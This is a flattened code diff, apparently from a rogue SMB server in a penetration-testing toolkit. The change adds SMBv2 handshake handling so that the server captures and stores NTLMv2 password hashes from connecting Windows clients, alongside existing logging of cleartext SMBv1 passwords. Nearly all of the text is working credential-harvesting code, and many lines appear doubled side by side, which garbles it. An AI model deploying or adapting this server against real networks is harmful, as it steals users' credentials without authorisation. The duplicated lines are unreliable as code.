Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'SMBv2',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2 def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
LMhashLen = struct.unpack('<H',data[51:53])[0] LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0] NthashLen = struct.unpack('<H',data[53:55])[0]
@ -179,7 +224,7 @@ def IsNT4ClearTxt(data, client):
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
def handle(self): def handle(self):
try: try:
self.ntry = 0 self.ntry = 0
@ -198,8 +243,47 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
except: except:
pass pass
if data[8:10] == "\x72\x00": # Negociate Protocol Response
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) ##Negotiate proto answer SMBv2.
if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data):
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
t = SMB2NegoAns()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
## Session Setup 1 answer SMBv2.
if data[16:18] == "\x00\x00" and data[4:5] == "\xfe":
head = SMB2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data))
t = SMB2NegoAns(Dialect="\x10\x02")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
## Session Setup 2 answer SMBv2.
if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
t = SMB2Session1Data()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
## Session Setup 3 answer SMBv2.
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
ParseSMB2NTLMv2Hash(data, self.client_address[0])
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
t = SMB2Session2Data()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
# Negotiate Protocol Response smbv1
if data[8:10] == "\x72\x00" and data[4:5] == "\xff" and re.search("SMB 2.\?\?\?", data) == None:
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
Body.calculate() Body.calculate()
@ -209,7 +293,7 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\x73\x00": # Session Setup AndX Request if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # Session Setup AndX Request smbv1
IsNT4ClearTxt(data, self.client_address[0]) IsNT4ClearTxt(data, self.client_address[0])
# STATUS_MORE_PROCESSING_REQUIRED # STATUS_MORE_PROCESSING_REQUIRED
@ -224,10 +308,10 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(4096) data = self.request.recv(1024)
if data[8:10] == "\x73\x00": # STATUS_SUCCESS if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # STATUS_SUCCESS
if Is_Anonymous(data): if Is_Anonymous(data):
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Body = SMBSessEmpty() Body = SMBSessEmpty()
@ -265,7 +349,7 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\x75\x00": # Tree Connect AndX Request if data[8:10] == "\x75\x00" and data[4:5] == "\xff": # Tree Connect AndX Request
ParseShare(data) ParseShare(data)
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
Body = SMBTreeData() Body = SMBTreeData()
@ -277,7 +361,7 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\x71\x00": #Tree Disconnect if data[8:10] == "\x71\x00" and data[4:5] == "\xff": #Tree Disconnect
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00" Body = "\x00\x00\x00"
@ -287,7 +371,7 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\xa2\x00": #NT_CREATE Access Denied. if data[8:10] == "\xa2\x00" and data[4:5] == "\xff": #NT_CREATE Access Denied.
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00" Body = "\x00\x00\x00"
@ -297,7 +381,7 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\x25\x00": # Trans2 Access Denied. if data[8:10] == "\x25\x00" and data[4:5] == "\xff": # Trans2 Access Denied.
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00" Body = "\x00\x00\x00"
@ -308,7 +392,7 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
data = self.request.recv(1024) data = self.request.recv(1024)
if data[8:10] == "\x74\x00": # LogOff if data[8:10] == "\x74\x00" and data[4:5] == "\xff": # LogOff
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x02\xff\x00\x27\x00\x00\x00" Body = "\x02\xff\x00\x27\x00\x00\x00"
@ -318,7 +402,7 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
except socket.timeout: except socket.error:
pass pass